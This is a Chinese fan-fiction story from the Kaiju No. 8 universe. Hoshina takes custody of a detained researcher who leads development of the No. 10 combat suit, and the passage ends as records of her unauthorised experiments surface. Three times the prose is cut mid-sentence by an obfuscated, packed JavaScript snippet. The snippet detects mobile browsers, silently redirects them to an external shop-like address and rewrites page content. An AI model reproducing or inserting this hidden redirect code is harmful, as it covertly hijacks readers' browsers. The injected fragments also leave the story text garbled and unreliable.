《[怪兽8号]第三次呼吸》 1. 立场问题? 这是一个苦涩的夏天。 日本东京,下午三点十四分 炽热的阳光直射在柏油路上,一辆漆着防卫队总部标识的黑车驶入基地大门,两侧荷枪实弹的警卫目送它远去,继续一丝不苟坚守岗位,沉默与高温中,空气也微微凝固。 车内,保科宗四郎坐在后座,心情实在说不上轻松,目光所及之处是总部森严穆肃的景物,十步一岗五步一哨,他们一路向着中心深处驶去。 这是怪兽九号出现的第二个月,也是防卫队对策一线最高长官四之宫功牺牲的第15天。 面对九号对人类的宣战,防卫队一时间前所未有警戒起来。 为了应对等级越来越高的怪兽,也为了获取九号的情报,保科宗四郎决定把十号做成编号武器,而把自主意识极高的编号怪兽制成战术服,是一项前无古人的重大决策,在与总部开了无数个表决会议,与出云科技方面联合讨论几个来回,最后在关西保科本家的支持下,保科副队长签了一堆保证书,终于把开发10号战术服提上日程。 真希望这是最近最后一次来总部了啊。 保科翻了翻摊在膝盖上的红头文件,他今天的目的——交接一位生物识别链接与编号怪兽活性保留利用兼并学科的研究员,作为第三基地开发10号识别武器的技术指导。 至于为什么要用“交接”而不是“邀请”,保科捏捏眉心,试图把眉头手动舒展开,这位被赋予接手全部开发过程权力的研究员,目前正处于观察审核期间,被收押在总部s1006收容所。 文件上白字黑字,写的内容却暧昧不清:“……审议会初步核查,该公职人员具有立场不明嫌疑,鉴于其直属长官四之宫功已因公殉职,行为目的性暂不可考证,拟定罪名【技术定向反人类罪】,暂定为期两个月收押审查……” 什么意思,反人类?这研究员去向怪兽投敌了? 保科为自己的想象笑了一下,换来司机疑惑的一眼,“啊,请不要在意。” 对着翻来覆去看不出名堂的批文自娱自乐,也算是他打发时间的一种方式。 万一是一个脾气超级古怪的科学怪人,乱做实验不听命令,他可应付不来这种类型啊,要是所有技术型人才都像他们第三部队的小此木一样就好了。 一栋低矮灰色建筑前,迎接人员带着保科走进内部,经过严格的安检,一步步深入地下,冷气一丝丝漫上来,保科注意到他们所处地段的光照和温度已经全靠人工电力维持。 “到了,您请进,务必准时完成目标人物交接。”工作人员对他行了个军礼,在厚重铁门上输入了通行密码。 他见到了与档案中别无二致的脸,这位神秘的研究员并不是科学怪人形象,她坐在禁闭室唯一一把椅子上,听到开门声转过身来,手脚上电子镣铐发出一串响动:“哟,保科家的小子,听说你被编号怪兽主动选择了?不错的机会。” 明亮的白炽灯把这一点空间所有阴影照得无所遁形,也照亮了那人素白的脸,凌乱的黑发,她抬手把支棱出来的刘海拨到一边,毫不遮掩地打量了他一番,目光细细密密扫过来,让他有种每寸肌理都被解刨的错觉,她有一双黑湖般沉绿的眼睛。 ......保科在心里先给这人记了一笔。 “从现在开始,你的监管权移交到立川基地,监管人是我,希望你能协助第三部队完成编号识别武器开发。”他公事公办道。 椅子上的人闻言往后一靠,宽大的衣服遮住了身体线条,看不出接受过训练的痕迹,“你能见到我,总部和保科家肯定都发话了,我的个人意愿还重要吗?” 研究员潦草地挥了挥手,言辞犀利,语气却没多少情绪,保科有些琢磨不准她的意思,但他深谙术业有专攻的道理,面对她有消极怠工倾向的态度,当即真诚地打补丁:“从我个人立场,也需要你的技术支持,并非要求和命令,我以防卫队队员的个人身份请求你,全心全意帮助第三部队。” “......”研究员歪了歪头,这让她看起来年纪更小了,她又以一种与之前完全不同的视线端视眼前的青年,某种欣赏的神色一闪而过,从椅子上站起身来,向保科伸出手:“暮戈京矢,”她正色道,“十号识别武器的开发,我会尽我所能。” 保科发现她其实是一个高挑的女性,两人握手时几乎平视,他感觉到对方手上位置熟悉的茧,心头微微一动,面上不显,“保科宗四郎,请多指教。” 回到立川基地,保科紧绷的神经得以微微放松,正值立川基地日常周,这个时间队员都在训练场,远远能听到他们训练的声音,二人穿过宿舍区和办公楼的阴影,走到露天回廊时,暮戈京矢下意识遮了下眼睛,走在前面的人敏锐回头:“怎么了?” 暮戈京矢垂下眼帘:“没什么,太久没见过日光了。” 保科目光在她手腕上的限制器停留一瞬:总部同意她外出,却没有允许解除她手脚上的电子锁,他始终暗暗保持警戒的同时,也实在有些好奇这位到底犯了什么事,或者说到底有怎 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小此木愣了一下:“总,总之,行政部门收到的通知是这样要求的,我还要去找亚白队长我先走了。”她倒豆子般说完,有些慌慌张张地跑走了。 保科疑惑地目送同事离开:“?” 有了小此木的提醒,让他带着暮戈京矢来到位于地下设施的房间,面对门上明显新装的单向电子锁时没有太尴尬,暮戈京矢倒是接受良好,转了一圈表示满意:“研究场地呢?” 在去往研究室的路上,保科不经意般问起:“你以前任职于第一部队?是在四之宫长官手下入职吗?”他想起女人手上的痕迹。 “我以为我的档案早就被您翻了个底朝天呢。”暮戈京矢彬彬有礼道,他注意到她用了敬语,却不知道为什么被不软不硬地呛了一句,只能用一贯的微笑掩饰他根本没细看最后几篇文件,草草签字了事的事实——任何人在同一章程上来回拉锯战一个星期都会这样,他平时可认真工作来着。 接下来的路程没人再说话,其实很在意人际关系的第三部队副队长谨慎选择了闭嘴,倒不是多想与技术指导打好关系,只是担心踩了这位雷区而不自知,回头她在十号战斗服上做点什么手脚——毕竟是总部认定的特级危险人物,那他可就惨了。 而被防备着的危险人物本人其实没想那么多,出于很多原因,她其实挺欣赏保科宗四郎的,而今天,也不是保科以为的第一次见面。 2. 实验开始 日本防卫队每个部队都配备研发资源,其中侧重各有不同,第三部队与第一部队坐镇东京,战略意义重大,科研所单独在基地西南角开辟了一片区域。 保科刷开了门禁,研究所墙壁和走廊都是单调的白,鼻尖充斥着消毒水和活性试剂的气味,二人走入最里面一间实验室,穿白大褂的研究员来回穿梭,一件件大型设备被拆成零部件送进来,嘈杂却有序的低语声,偶尔交换事务的叮嘱,每个人都低头做自己的事,两人的到来打破井然有序的氛围,人们纷纷向保科副队长问好,一时间到处都是椅子拉开碰撞的声音。 “大家辛苦了,这位是总部的技术人员,担任本次研发的技术指导。”保科温声说,一时间各色目光都落在他身后的人身上。 暮戈京矢随意点点头:“请多指教,时间紧任务重,晚上六点前完成基础准备工作,”她一指那些设备零件,没有任何客套,直接下达指令:“生科组和机械组负责人在吗?” 她视线扫过人群,锁定两个举手的白大褂,颔首道:“带着你们的人,七点准备跟我下井。” 【井】是行业黑话,全称怪兽uni功能分解设施,为了控制突发危害范围,入口被做成向下的四方地板门,像开了口井一样,地下的空间经过特殊加固,进入后要遵守一套严苛的行为准则,真正意义上的高危作业。 话音落下,整个团队开始加速运作起来,而几句话指使得研究组团团转后,暮戈京矢突然转头对保科说:“食堂在哪?” “哎?”保科觉得这话题急转直下 暮戈京矢自然地说:“怎么,饭点这么晚?来的时候我明明看到有人往东边去了。” 第三部队食堂还真在东边。 保科副队长忍不住笑出声来:“你这个人真有意思,我会马上带你去食堂的哈哈哈哈哈哈。” 他似乎真觉得这是多么好笑的事情,眼睛弯出狭长的弧度,两颗小小的虎牙在唇边若隐若现。 两人间有些僵硬的氛围一扫而空,暮戈京矢若有所思挑了挑眉,难道这位副队长是那种笑点很低的类型? “副队长!” “副队长下午好!” 刚下训的防卫队员三五成群走进食堂,几乎每个人都会充满活力的冲保科宗四郎打招呼,暮戈京矢在旁边不禁感叹:“真有人气啊,副队长大人。” “嗯哼,受到队员们的喜爱就要加倍努力嘛。”保科笑眯眯地说,这笑容比之前任何一次都来得真切。 打餐窗口前,两人各端了一份简餐,走到一处无人角落坐下,保科注意到暮戈京矢吃饭很专注,每一口都要咀嚼15次左右,速度却很快,没一会就解决了晚饭,就坐在一边看着他吃, “......”保科默默加快了进食速度。 “带我回研究所吧,那些禁令对你来说也挺麻烦的。” 保科宗四郎对这话深以为然,不知道上面怎么想的,他已经因为交接这位研究员的事搁置了一个下午的工作,但劳模副队长已经做好了负重前行的准备,就当一段时间内多了个随行挂件,只是牺牲一些时间而已,工作可以拿回宿舍再解决,他这样安慰自己到。“没关系哦,因为暮戈你的警戒级别很高嘛,毕竟是为我申请的战斗服开发研究,不好麻烦别人。” 亚白队长最近更是忙得不可开交,同样有新改良的枪炮特化武器需要她适配,整个立川基地级别够接手暮戈京矢监管权的也只有正副队长了,“如果可以的话,我们最好约定一下时间,每天几点出门,中午几点吃饭,晚上几点带你回房间......” 暮戈京矢觉得他对开发研究有什么误解,好笑地摇了摇头“前期解析过程不会打扰你太多,但毕竟是为你量身打造,后期少不了本人配合。 ” 她扬了扬手腕上的限制器,上面配有简单的单向通讯,总部刚刚把权限转移到保科手上。 回到研究所,保科宗四郎的脚步声在纯白的走廊里尚未完全远去,暮戈京矢便已转身,面向身后那群仍带着些许审视与好奇目光的研究员。 “三分钟。”她的声音不高,却清晰地穿透了背景设备的低鸣,让所有窃窃私语戛然而止。“我需要看到U-7型能量拘束器的全部预热数据,以及井底压力实时波形图。” 她没有提高声调,也没有询问,而是直接下达了指令。 人群静默了一瞬,几位资深研究员下意识地看向原本的项目临时负责人。那位负责人张了张嘴,似乎想强调流程,但在对上暮戈京矢那双眼睛时,话卡在了喉咙里。 “现在。”她补充了一个词。 就是这片刻的寂静与对视,无形中完成了一次权力的交接。 “是,暮戈技术指导!”一个年轻的研究员最先反应过来,几乎是本能地应了一声,转身冲向控制台。 这一声如同打破了某种凝滞,整个团队像一台精密的机器,被她这一个指令瞬间激活。键盘敲击声、指令复述声、设备启动的嗡鸣声迅速响起,取代了之前的犹豫。 暮戈京矢穿过开始忙碌的人群,走到中央主控台前。她没有坐下,而是站着,手指在光屏上快速划过,调出层层叠叠的数据界面,其操作流畅程度,仿佛她已在此工作了数年。 “能源组,拘束器输出功率稳定在阈值75%,我要在六十秒内看到平滑曲线,不是现在的锯齿波。” “结构组,汇报井壁应力传感器最新数据,编号G-17到G-23的读数有异常波动,重点监控。” 她的指令一条接一条,精准地指向各个小组此前忽略或试图掩盖的问题角落。 先前那位临时负责人脸上的不服气渐渐消失了,取而代之的是一丝惊愕与凝重。他意识到,这位空降的技术指导,并非凭借总部的一纸文件,而是靠着对项目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“稳住。它的意识还很混沌,跟随我的引导,构建精神防火墙。” 她独自承受了最猛烈的第一波冲击,为其他人赢得了宝贵的反应时间。当危机在几十秒后暂时解除,她松开微微发颤的手指,回头看向惊魂未定的团队,只问了一句: “有人受伤吗?” 在得到否定的答案后,她便再次将注意力投向了那片躁动不安的生物组织。 十号,如此之高的自我意识,甚至给她一种能够交流的感觉,这就是怪兽的进化吗,幸好按资料所说,它自愿被做成战斗服,前提是必须由保科宗四郎穿戴。 暮戈京矢轻轻掐了下手心,隔着防护服没什么感觉,只能垂下手,被这么风格粗暴的怪兽盯上,不知道该说第三副队长不幸还是说他天赋异禀,她脑海中闪过一小时前保科离开前有些担忧的表情,毕竟看上去二者完全不搭嘛。 3. 立川基地二三事(1) 经过三个小时的解析,熔断,链接,再熔断,继续链接…… 十号的意识终于稳定下来,核中传来的信号流也变得平稳,暮戈京矢刚刚又正面接了十号意识最后也是最狂暴的一波精神冲击。在意识流撞入她识海的瞬间,她喉间一甜,差点吐出一口血来。 “……”她心里骂了句脏话。 这也就是为什么绝大部分怪兽武器研究都不采用人体与怪兽神经流直接对接的方式,稍有不慎,轻则七窍流血脑震荡,重则精神错乱,甚至脑损伤变成植物人的案例也有过,当代防卫队科研技术,一般会采用把神经流编写转化成电子信号,与电脑接驳,慢慢的调试和复写,研发过程的风险降低了很多,但最后却压在了试用者的身上,没有与人体切实的接触数据,再多的模拟也会出现没有发现的问题。 而随着怪兽等级的提高,这问题对初次穿戴者来说往往就是致命的,一般这种编号怪兽的战斗服,试用者上试验台前要签生死状。 暮戈京矢大概清楚关西保科家这次突然发话,保她提前出来,就是因为只有她愿意且有能力承担人工接驳,作为历史悠久的讨伐世家,他们不可能让保科宗四郎冒试用的风险。 就是不知道年轻的副队长本人知不知道这一层了。 她不知道的是,这股源自编号怪兽的强大精神波动,如同投入平静水面的石子,虽然绝大部分被“井”的屏蔽设施所阻隔,但那最尖锐的一缕,依旧化作一道微不可查的涟漪,悄无声息地扩散了出去。 井内高压环境让时间流逝也模糊了,外界,夜色已深,办公区的灯光次第熄灭,只剩副队长办公室还亮着一盏孤灯。 保科宗四郎终于处理完因交接而积压的文书。他向后靠在椅背上,闭眼揉了揉发胀的太阳穴,白皙的面容在灯光下透出显而易见的倦意。他端起杯子,抿了一口刚刚煮好的咖啡,滚烫的液体带着苦涩的香气滑入喉咙,驱散了些许疲惫。 就在这一刹那,一股毫无来由的、极细微的心悸感骤然掠过他的心脏,让他端杯子的动作几不可查地一顿。那感觉转瞬即逝,快得像是错觉,只留下一丝难以捕捉的异样。 办公室里异常安静,只有空调低沉的运行声,和杯中热气袅袅升腾的细微动静。 “叩叩——” 敲门声很轻,仿佛知道里面的人状态如何。 “请进。” 亚白米娜推门而入。她似乎也刚结束工作,换下了常穿的战斗服,一身简洁的深色便装,长发松散地束在肩后,带来一丝不同于白日的柔和。 “还在忙?”她的声音在静谧的夜里也放低了些。 保科无奈地笑了笑,晃了晃手中的咖啡杯:“算是收尾了。队长你呢?” “刚做完新武器的初步适配报告。”亚白将一份电子板轻轻放在他桌上,动作熟稔地走到一旁的小型咖啡机前,给自己也接了一杯。“数据我发你了,有几个参数需要你明天确认。” “好。”保科接过电子板,却没有立刻查看。他只是看着亚白自然地坐在对面的椅子上,两人共享着这片深夜的宁静与咖啡的香气。这是一种经年累月并肩作战形成的、无需言语的默契。 短暂的沉默后,还是亚白先开了口,目光落在保科脸上:“那位技术指导,你感觉如何?” 保科放下杯子,指尖无意识地摩挲着温热的杯壁。“暮戈京矢吗?”他沉吟道,疲惫让他语调比平日更慢,“一个……能力与问题同样突出的天才。她今天只用了几句话,就让整个研究组高效运转起来,但也……”他想起那份语焉不详的档案,苦笑了一下,“直接得让人措手不及。” 他简单描述了暮戈在实验室的雷厉风行,以及那句让他失笑的“食堂在哪”。 亚白安静地听着,眼眸在灯光下显得格外沉静。直到保科说完,她才缓缓开口:“能被四之宫功长官视为左右手的人,必然有其非凡之处。” 四之宫长官的左右手…… 这个评价,比保科想象的更高。他心头微动,那位已逝长官的影子,似乎正透过暮戈京矢,再次笼罩下来。 “我明白。”保科颔首,倦意让他的声音带着一丝沙哑,“只是,总部那份‘危险’的判定,实在是让我放心不下。” “谨慎是必要的。”亚白表示同意,她站起身,像来时一样准备悄然离开。走到门口,她停下脚步,没有回头,声音清晰地传入保科耳中: “但保科,我们此刻最需要的,正是一把能斩开困局的刀——无论握刀的手,是否戴着镣铐。” 门被轻轻带上。 办公室里重归寂静。保科独自坐在灯下,亚白的话语与杯中残余的热气一同缠绕着他。他转头望向窗外沉沉的夜幕,立川基地沉睡在安宁之中。而那个被镣铐和谜团包裹的“变量”,正身处地下深处的“井”中。 他端起杯子,将最后一点已经温凉的咖啡饮尽。苦涩的回味在口腔里蔓延开来。 刀吗……或许吧。只希望这把刀,最终指向的是敌人。 接下来的三天,立川基地仿佛一个高速运转的战争机器。保科宗四郎被淹没在文书、会议和队员训练的漩涡里,忙得脚不沾地。当他终于在某个午后,活动着肩颈从训练场回到办公室时,一个念头如同迟来的闪电,猛地劈中了他—— 已经三天了。 他好像……完全把那位总部派来的、级别极高的、需要严密监管的技术指导给忘了。 这不对劲。以她的“危险”级别和总部的严密监控,即使没有违规,系统也应定时生成报告。这种彻底的“安静”,反而像是某种……被刻意过滤后的结果。 冷汗瞬间从后背渗了出来。一种混合着巨大疏忽带来的心虚和隐约担忧的情绪攫住了他。他立刻试图通过内部系统联络研究所,或者定位暮戈京矢的权限位置。 然而,那条由总部直接授权的特级线路,操作界面复杂得令人咋舌。保科皱着眉,修长的手指在光屏上快速滑动,点开一个又一个嵌套菜单,却始终找不到那个简单的通讯按钮。 ……这真的是通讯界面,而不是什么怪兽基因的加密程序吗?! 他在心里暗暗抓狂,脸上还勉强维持着副队长应有的镇定。最终,他放弃了与高科技的搏斗。 ——必须亲自去一趟了。 希望那位研究员只是沉浸在研究中忘了时间,而不是在他的疏忽下,已经在立川基地里……呃,做出了什么需要动用“反人类罪”来审判的事情。 他几乎能想象出总部质询时,自己百口莫辩的样子了。 保科怀着一种近乎“奔赴刑场”的心情,快步走向研究所。他越想越觉得心虚,自己签了那么多保证书,结果转头就把最重要的监管对象抛之脑后,这实在是职业生涯中不可饶恕的失误。 话又说回来了,她都不申请外出的吗?! 当他刷开“井”区外的门禁时,正好碰上一组研究人员从气密门内出来。他们都穿着厚重的白色防护服,像一群臃肿的企鹅,面罩上凝结着水汽,难以分辨谁是谁。 然而,保科的目光却凭借一种难以言喻的直觉,瞬间锁定了其中一道身影。那人走在最后,身形在高大的研究员中显得有些清瘦,但步伐却异常稳定。 仿佛感应到他的注视,那人回过头来。隔着布满水雾的面罩玻璃,保科果然对上了一双他印象深刻的、绀青色的眼睛。 暮戈京矢似乎也认出了他,抬手利落地解开了面罩的卡扣。随着“咔哒”一声轻响,防护服沉重的头罩被取下,露出一张因闷热而泛着微红的脸颊,和一头被汗水浸湿、凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685670|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱不堪的黑色短发,几缕发丝不服帖地四处翘着。 “副队长?”她微微喘了口气,声音带着一丝沙哑,“有事?” 保科一路上准备好的所有说辞,在看到她明显刚从一线撤下来的样子后,直接从他脑子里蒸发了出去,一时卡壳。巨大的心虚感涌了上来,他总不能直接说“我是来看看您老人家是不是还在,顺便确认一下您没有实施反人类计划”吧? “啊……这个,”保科轻咳一声,大脑飞速运转,脸上迅速挂起无可挑剔的温和笑容,“只是来看看研究进度是否顺利,以及……限制器定期报告为什么中断了?” 他硬着头皮问了出来 心虚的别太明显了,暮戈京矢没觉得冒犯,觉得他现在的样子挺有意思的。她抬手徒劳地试图压了压那些不听话的头发:“大概是因为地下设施的信号屏蔽——稍等,我先去消杀室。” 她径直走入与实验室的相连的消杀隔离甬道,厚重的合金门在她身后合拢。 “检测到高浓度生物活性残留,启动三级净化协议。” 电子音在纯白色的狭窄空间内响起。 随着定向能量湮灭场的启动,附着在防护服表面及缝隙中的活性粒子辐射和异种能量签名被清除,接着是解脱剂和高频声波,让她身上粘黏的组织碎屑逐渐剥落。 最后她拆去厚重的防护服,灭活喷雾淹没了她。 整个流程持续了整整五分钟。 当最后一道净化程序结束,排气系统将残留物彻底清除,指示灯由红转绿。内侧的气密门滑开,保科看到暮戈京矢从弥漫的白色雾气中缓缓走出。 她取过一旁的白大褂披上,保科注意到,即便经过了如此彻底的消杀,一股极淡的、如同电离后的臭氧混合着某种金属腥气的味道,依旧若有若无地萦绕在她周身——那是编号怪兽残留的、无法被完全抹除的信息素。 “你还好吗?”保科有些小心翼翼地问。 暮戈京矢脸上的潮红已经褪去,显露出苍白的面色,“嗯?还好,今天来视察进度?” “嗯……也不完全是——你这些天就一直待在研究所?” 这话一出口保科就后悔了,意思好像他怀疑什么一样,但他其实想问她休息怎么办?吃饭怎么办?都在这个研究所里解决了吗?为什么三天都没联络过他呢? 好在暮戈京矢没在意,她绕过保科走到冷柜旁,翻出一个铝制盒子:“当然,十号的细胞活性相当棘手,你有福了,副队长。” 保科想到十号叫嚣着占据他的身体,下意识皱眉:“别说的好像我要跟它绑定一样……研究遇到了困难吗?” “事实上,初步解析已经完成了。” 他们隔着一段距离并肩往外走,实验室嘈杂的人声渐渐远去,保科听到这句话微怔:“这么快?” “已经算慢了,你的十号像个狂热追求者一样嚷着要见你,光是建立起链接那一下,我的脑子都要被吵炸了。”暮戈京矢用平缓的语气说出让保科脸热的话。 “对不起……不是!能别这么说嘛?什么叫【我的十号】?那家伙满脑子战斗吓死人了!”他忍不住抗议道。 他们走到一处安静的功能间,暮戈京矢把头发扎起来,露出眼下一颗小痣。 “没想到除了整合编号怪兽对人适配度,我还要调节人对怪兽的态度,一定要这么抵触吗?”她不咸不淡地说。 保科副队长一时无言以对,毕竟向总部提出申请的人是他自己。 他吸了口气,把谈话拉回自己在意的事:“进度这么快,怎么做到的?” 眼前的研究领导者掀起眼皮看了他一眼:“我安排的“两班倒”,一天二十四小时轮班——非常时期非常对待。” 保科宗四郎觉得自己好像听见了一个上世纪的词:“?” 4. 立川基地二三事(2) 你手下的研究员真的没意见吗,听上去完全是被压榨了啊,保科暗自腹诽。 事实上,研究员们确实颇有微词过,但领导者本人已经不是两班倒了,而是这三天中一共随机抽取了几个小时休息,甚至白日班的研究员下班时她在指挥台梳理数据,等他们再次上班时,发现她还站在那,连姿势都没怎么变,让人无话可说。 暮戈京矢把铝制盒子放在桌上打开,里面是几块灰白色、质地看起来干巴巴的、类似凉糕的方块。 “这是……?” “营养简餐。”她拿起一块,用指甲划开真空包装,放进功能间的加热仪里,二十一世纪最伟大发明。” 这几个小方块营养全面,饱腹感强,就是没滋没味,口感也欠佳。 保科看着她手里那块毫无食欲可言的“凉糕”,刚消散的一点愧疚又悄悄冒出头来: “你平时……就吃这个?” “嗯。”加热仪发出“叮”的轻响,如果不是十号的初步解析刚好告一段落,她此刻应该还在实验室里,就着水把那块冰凉的简餐咽下去,而不是“奢侈”地出来加热。 她拆出一次性叉子,刚要去叉那加热后依旧显得寡淡的营养块,一只手却伸过来,轻轻按住了她的手腕。 保科的手指带着训练后未散的温热,触碰在她因长时间操作仪器而微凉的手腕上,一触即分。 “别吃这个了。”他说。 暮戈京矢抬眼,对上他温和却不容拒绝的目光。 “我们出去走走,”保科朝功能间外示意了一下,窗外是立川基地难得的黄昏,暖金色的光斜斜地照进来,在他深紫色的发梢上跳跃,“一起,吃个饭。” 他强调着“一起”这两个字,清澈的深红眸子微睁,真诚难拒,暮戈京矢的视线有几分艰难地从他脸上,移到自己手腕上刚才被他触碰过的那一小片皮肤,那里似乎还残留着一点不属于自己的温度——起码她还拒绝不了。 于是出乎副队长意料,暮戈京矢没多迟疑,随手把简餐塞给走廊一位刚出来的研究员,收获了一个震惊又感动的眼神,“谢,谢谢!” “走吧” 两个简单的音节让保科脸上的笑容如释重负了一点,两颗小小的虎牙也露了出来,他还真有点怕她是个彻头彻尾的工作狂来的。 走出研究所大门前,暮戈京矢脱下白色实验服,只穿了防卫队发放的衬衫,棉麻面料被她穿的很板正,领口敞开着露出平直的锁骨,她卷起袖子,随意把凌乱的头发捋到脑后——虽然并没有什么用。 夕阳并不刺眼,她慢悠悠跟在保科副队长后面,深深吸了一口气,品味着带着草木气息的凉意,听副队长有一搭没一搭跟她介绍立川基地,他的关西腔有些软,带点黏糊的尾音,伴着晚风一点点绕进她耳中,她久违地放松下来。 虽说是“出来走走”,但两人也只是默契地在食堂打包一份蛋包饭,食堂阿姨向保科询问最近食堂的口味评价,他笑着聊了两句,又在食堂阿姨热情地开始介绍自家女儿做媒时落荒而逃。 等到他们到保科办公室时,暮戈京矢还在乐,并且完全没有避着当事人的意思,虽然没有笑出声,但闪烁的眼睛和时不时抿起的唇说明了一切。 “有这么好笑吗?”保科无奈道,在门锁屏幕上输入密码:“作为当事人可一点都不觉得呢。” “不,在我看来是顶级的幽默剧目。” 这回暮戈京矢终于毫不掩饰地露出了自他们相识以来第一个笑容,走廊夜灯下,那双深绿的眼睛仿佛吸走了面容上所有颜色,兀自浓墨重彩,尖尖的嘴角上扬,薄得稍显锋利的唇也柔软了弧度。 门在身后合拢时发出轻微的气密声。她注意到墙角监控探头微弱的红光,这让她的笑意收敛了几分,但眼底的暖意未散。 "所以,"她打量着周围,"这就是副队长的特权?单独的用餐空间。" 保科将餐盒放在茶几上,假装没听出她话里的调侃:"至少比在食堂被围观强。"他递过餐具时,状似无意地补充:"这里的监控数据直接传到我终端。" 保科宗四郎的副队长办公室与他的人一样,乍看之下整洁、规范,一丝不苟,但仔细瞧去,又能从细节里品出些个人趣味。文件柜顶部摆着一盆长势喜人的绿萝,藤蔓郁郁葱葱地垂落下来,给这间充满金属与纸张气息的房间添了一抹生机。窗台上放着几个造型别致的怪兽模型,一看就是出云科技的新品。 暮戈京矢的目光在那几个模型上停留了一瞬,随即自然地落在房间中央的小茶几上。保科正将打包回来的蛋包饭打开,浓郁的番茄酱香气立刻驱散了房间里原本清冷的空气。 “随便坐。”保科指了指沙发,自己则拉过一把椅子,在茶几另一侧坐下——一个既不远也不近,恰好是社交舒适区的距离。 暮戈京矢依言在沙发上坐下,并不拘谨,两人安静地开始用餐。一时间,办公室里只有餐具偶尔碰撞的轻微声响。暮戈京矢吃的依然很快,保科吃得比她慢些,目光偶尔会落在她身上。窗外暮色渐沉,暖黄的室内灯光在她低垂的眼睫下投下一小片阴影,让她平日里过于锐利的轮廓柔和了不少。他看出她没有吃饭时聊天的习惯,等到她拿起水杯时才找了个不算突兀的话题。 “十号的初步解析完成后,下一步是能量回路逆向工程吧?” 暮戈看了他一眼,有些惊讶于战斗人员竟然会了解科研流程:“没错,这一步算是最简单的了,就是素材的整合,让生物能量作用到装甲上,我认为以往编号战斗服的经验……” 她顿了下,“不说了,长篇大论这些东西留给机械组的人听吧。” 保科表示他虽然不是专业人员,但很愿意了解一些自己战斗服的开发细节,没等暮戈京矢打开话匣子,门被敲响了。 “请进。” 亚白米娜站在门口,手里拿着文件,凌厉的眼眸在室内一扫,瞬间捕捉到每一个细节。 “副队长,签字。”她的声音比平时更冷,将文件递给保科,目光却始终锁定在暮戈身上。 保科接过文件时,注意到亚白站的位置正好封住了门口。这个细微的战术站位让他心头一紧——在亚白眼中,暮戈京矢首先是个需要重点监控的对象,然后才是个研究员。 暮戈京矢神色不变,在亚白审视的目光下,她恢复了实验室里的那种疏离感,仿佛刚才那片刻的放松从未存在过。 “暮戈技术指导。”亚白的语气公事公办,“关于十号能量回路,作战本部要求增加三道验证程序。” 保科敏锐感觉到对面的人一下子就烦躁起来,甚至隐隐流露在表情上。 “理由?”,她克制地问道。 “这是对高风险项目的标准流程。”亚白的回答无懈可击,“特别当主要研究员是......特殊人员时。” 空气凝固了一瞬。保科签字的手顿了顿,墨迹在纸上晕开一个小点。 暮戈京矢手指无意识地收紧了些,“哦,好吧,当然,【必要的流程】,我接受监督。但额外流程会延误进度至少三十六小时。” “安全优先于效率。”亚白米娜接过签好的文件,视线扫过茶几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685671|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的餐盒,“保科副队长,跟我出来一下。” 门被轻轻关上,亚白带着保科短暂离开了,但她的警告还悬在空中。 暮戈京矢没忍住,掰弯了手中的钢制勺子。 她对亚白队长没有意见,但是对下达这些命令的总部很有意见。 冷静啊,她提醒自己,这时候没人会给她行便利了,即使知道这三道程序毫无意义,纯粹是那边给她添堵,即使其实她的掌控欲在自己的项目上十分严重,被指手画脚是最大的冒犯,她还是得捏着鼻子忍了。 深呼吸数次,她试图把餐具掰回原状,“咔”的一声,勺子彻底断了。 “……” 她反思了一下,不得不承认在九号事件之后,她情绪确实很长时间没能恢复常态,而带着情绪工作可是大忌。 亚白队长带保科来到走廊上,回头锁住了办公室门,保科有些不解,“亚白队长,怎么了?” 明明上次谈话时亚白队长对暮戈的态度还并不是这样的。 亚白米娜看着自家副队长,不动声色叹了口气:“我收到了一份资料,现在同步给你。” 终端亮起,保科点开邮件:“……第六部队发过来的?” “准确的说,是第六部队队长亲自发给我的——保科,你是不是又把你哥哥拉黑了?” 亚白抱臂,语气里带着一丝调侃。 ……还真是,保科尴尬笑了笑,那这份资料就不是防卫队的公事,而是保科家通过官方渠道转给他个人的情报了。 “我大哥前段时间真的很烦人呀……”他下意识的抱怨在翻到下一页时戛然而止。 【其活动期间,当地均出现异常能量波动或大规模怪兽事件,关联性存疑。】 【所在非官方勘测小队人员损耗率异常,幸存者仅其一人】 【部分行动疑似涉及敏感生物样本跨境转移。】 【未经授权调用S级怪兽样本】 【擅自修改实验安全协议】 【涉及███计划的资料缺失】 【试验编号G5408,评级为限制级,未经过审批】 【试验编号h5469,评级为限制级,未经过审批】 【试验编号G5483,评级为限制级,未经过审批】 【试验编号k1536,评级为限制级,未经过审批】 …… 资料里密密麻麻写着违禁的事项,除了有些含糊不清的嫌疑罪名,那些死亡人员名单和违禁试验确是实打实的,保科宗四郎连滑了几下屏幕都翻不到头,代表危险的标红和代表封锁的灰白混在一起,触目惊心,每一项单拎出来都够上军事法庭。 亚白米娜的声音将他从震惊中拉回:“你知道最重要的是什么吗?即使深挖到了这个地步,她的具体信息还是不透明,她到底做过什么,那些试验都有什么目的,防卫队竟然毫无记录。” 她看着保科惊讶的脸色,语气放缓了些,但依旧严肃: 